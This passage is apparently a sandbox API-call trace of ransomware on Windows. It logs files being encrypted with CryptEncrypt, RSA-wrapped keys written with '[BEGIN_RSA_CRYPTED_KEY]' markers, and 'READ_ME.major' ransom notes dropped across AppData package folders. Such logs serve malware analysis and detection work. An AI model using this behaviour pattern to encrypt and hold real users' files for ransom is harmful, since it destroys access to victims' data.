WriteFile (in: hFile=0x1408, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.667] SetFilePointer (in: hFile=0x1408, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.667] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.667] WriteFile (in: hFile=0x1408, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.668] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.668] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.668] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.668] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gyUHTeTk9OP9KPNmjQK7pjZ4DV78BeUR5x7LwE4KgLDlgSbn3VwtuQcj9nCOy6aP\n107f+lmVF8cOU2v7s7KRYk4l8uEkWSpfKuqjGM11fcX13TO3QqzlhvrNXEedT5Gz\nZ1AkqQU2NdEHY10ZbURZddXsxr+D6zEj1IiDyDX8F2nAXYDVoWV2zoK15h1rEOEV\nZeqvn1866seRwG9fLBeHFe6UbDsoFG2Pw1EkhIZtbBQdHTKX0S30hebBpQ7FfIuT\n9PVPiyhC7mVjsaga6uGgm94nndGUN4nL+rJq0uKPTm0EBE1CFPGePts4ekD2WaS8\ntljm5CbYOf9GSl+LiPTOPQ==\n", pcchString=0x2e3f9a8) returned 1 [0205.668] WriteFile (in: hFile=0x1408, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.668] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.668] WriteFile (in: hFile=0x1408, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.669] CloseHandle (hObject=0x1408) returned 1 [0205.671] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.672] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0205.672] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661cd8 [0205.672] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0205.672] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1408 [0205.672] GetFileSizeEx (in: hFile=0x1408, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.673] ReadFile (in: hFile=0x1408, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.673] SetFilePointer (in: hFile=0x1408, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.673] WriteFile (in: hFile=0x1408, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.673] SetFilePointer (in: hFile=0x1408, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.673] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.673] WriteFile (in: hFile=0x1408, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.674] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.674] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.674] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.674] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8aTsiaMFONekTo6Fxyfe4vis/ZK8GEBOf7M5tRijLX/If5rpwl4ezQb8imqijMDH\nLpuvgNZHMICqsyGHROUwT2dXiYbRgBkAu/nmytc88xxtOPPO8tdMv+o2Z4CR05v8\nLLL9mGknL8BAFXZ2n+OpPhQZQ0kN8iP7ExTVXUBI/fNtBSZVvCLdpLpwQ9cIK484\nry0iZ18RVM2H35rvtISUUPySZ3zE4dcWzccw6t7wLT2F//l+qacWn2TdsV1IaNyx\nDZkSe5zXbZcXM1B3nG0ChBkRrPVODEg+lM3SIGMGbLak+tJcN5sl4QmeQ6/B6Bm7\nG4E/dZdEvEhlPsV9AyDklg==\n", pcchString=0x2e3f9a8) returned 1 [0205.674] WriteFile (in: hFile=0x1408, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.675] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.675] WriteFile (in: hFile=0x1408, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.675] CloseHandle (hObject=0x1408) returned 1 [0205.676] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30058 [0205.676] FindNextFileW (in: hFindFile=0x2f30058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.677] FindNextFileW (in: hFindFile=0x2f30058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.677] FindNextFileW (in: hFindFile=0x2f30058, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6688f0 [0205.677] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30698 [0205.677] FindNextFileW (in: hFindFile=0x2f30698, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92488a4a, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92488a4a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.677] FindNextFileW (in: hFindFile=0x2f30698, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.677] FindNextFileW (in: hFindFile=0x2f30698, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.677] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88288 [0205.677] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfac4f463, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a02b33d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f305d8 [0205.677] FindNextFileW (in: hFindFile=0x2f305d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfac4f463, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3a02b33d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.678] FindNextFileW (in: hFindFile=0x2f305d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24faca3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac756bf, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0205.678] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1414 [0205.679] WriteFile (in: hFile=0x1414, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.680] CloseHandle (hObject=0x1414) returned 1 [0205.680] FindNextFileW (in: hFindFile=0x2f305d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fb785, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac756bf, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0205.680] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1414 [0205.682] WriteFile (in: hFile=0x1414, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.682] CloseHandle (hObject=0x1414) returned 1 [0205.683] FindNextFileW (in: hFindFile=0x2f305d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fc080, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac756bf, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0205.683] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.zunemusic_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1414 [0205.683] WriteFile (in: hFile=0x1414, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.684] CloseHandle (hObject=0x1414) returned 1 [0205.684] FindNextFileW (in: hFindFile=0x2f305d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.684] FindNextFileW (in: hFindFile=0x2f305d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fc6b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac756bf, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0205.684] FindNextFileW (in: hFindFile=0x2f305d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fc6b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac756bf, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0205.684] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666208 [0205.685] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30398 [0205.685] FindNextFileW (in: hFindFile=0x2f30398, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3185d2cf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.685] FindNextFileW (in: hFindFile=0x2f30398, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.685] FindNextFileW (in: hFindFile=0x2f30398, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3185d2cf, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3185d2cf, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6676e0 [0205.685] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fd388, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30158 [0205.685] FindNextFileW (in: hFindFile=0x2f30158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac02fce, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fd388, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.685] FindNextFileW (in: hFindFile=0x2f30158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.685] FindNextFileW (in: hFindFile=0x2f30158, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.685] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666880 [0205.685] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fd7b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f301d8 [0205.686] FindNextFileW (in: hFindFile=0x2f301d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabdcd6c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fd7b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3188396e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.686] FindNextFileW (in: hFindFile=0x2f301d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3188396e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3188396e, 